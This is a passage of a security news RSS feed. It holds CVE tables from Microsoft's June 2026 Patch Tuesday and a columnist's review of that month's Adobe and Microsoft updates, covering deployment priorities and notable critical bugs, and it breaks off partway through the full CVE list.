href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44805">CVE-2026-44805</a></td><td><p>Windows Network Controller (NC) Host Agent Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45636">CVE-2026-45636</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50508">CVE-2026-50508</a></td><td><p>Windows NTLM Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42981">CVE-2026-42981</a></td><td><p>Windows Performance Monitor Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42974">CVE-2026-42974</a></td><td><p>Windows Performance Monitor Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45487">CVE-2026-45487</a></td><td><p>Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42828">CVE-2026-42828</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42837">CVE-2026-42837</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42969">CVE-2026-42969</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42971">CVE-2026-42971</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42970">CVE-2026-42970</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42973">CVE-2026-42973</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42978">CVE-2026-42978</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42977">CVE-2026-42977</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42979">CVE-2026-42979</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42991">CVE-2026-42991</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45639">CVE-2026-45639</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42908">CVE-2026-42908</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45593">CVE-2026-45593</a></td><td><p>Windows SDK Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42906">CVE-2026-42906</a></td><td><p>Windows Shell Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42907">CVE-2026-42907</a></td><td><p>Windows Shell Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47648">CVE-2026-47648</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42915">CVE-2026-42915</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42904">CVE-2026-42904</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42968">CVE-2026-42968</a></td><td><p>Windows Telephony Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42912">CVE-2026-42912</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45597">CVE-2026-45597</a></td><td><p>Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40409">CVE-2026-40409</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40404">CVE-2026-40404</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45599">CVE-2026-45599</a></td><td><p>Windows UPnP Device Host Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45635">CVE-2026-45635</a></td><td><p>Windows UPnP Device Host Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42989">CVE-2026-42989</a></td><td><p>Winlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><br><p></p><p></p><h2>Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49160">CVE-2026-49160</a></td><td><p>HTTP.sys Denial of Service Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50507">CVE-2026-50507</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45586">CVE-2026-45586</a></td><td><p>Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>Yes</p></td><td><p>7.8</p></td></tr></tbody></table><h2>Critical RCEs</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-10263">CVE-2025-10263</a></td><td><p>ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47643">CVE-2026-47643</a></td><td><p>Azure Stack Edge Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44815">CVE-2026-44815</a></td><td><p>DHCP Client Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47291">CVE-2026-47291</a></td><td><p>HTTP.sys Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-26142">CVE-2026-26142</a></td><td><p>Nuance PowerScribe Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47281">CVE-2026-47281</a></td><td><p>Visual Studio Code Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45602">CVE-2026-45602</a></td><td><p>Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45657">CVE-2026-45657</a></td><td><p>Windows Kernel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42904">CVE-2026-42904</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr></tbody></table><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3585580/it-security-nachrichten/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585580/it-security-nachrichten/the-june-2026-security-update-review/</guid>
<pubDate>Tue, 09 Jun 2026 20:20:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our <a href="https://www.youtube.com/playlist?list=PLeFSM_a8Jri75_5-NpydcFneOaTvr3vJE">YouTube</a> channel. It should be posted within a couple of hours after the release.</p><p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  




  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  
    





<link rel="File-List" href="new2026-Jun-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
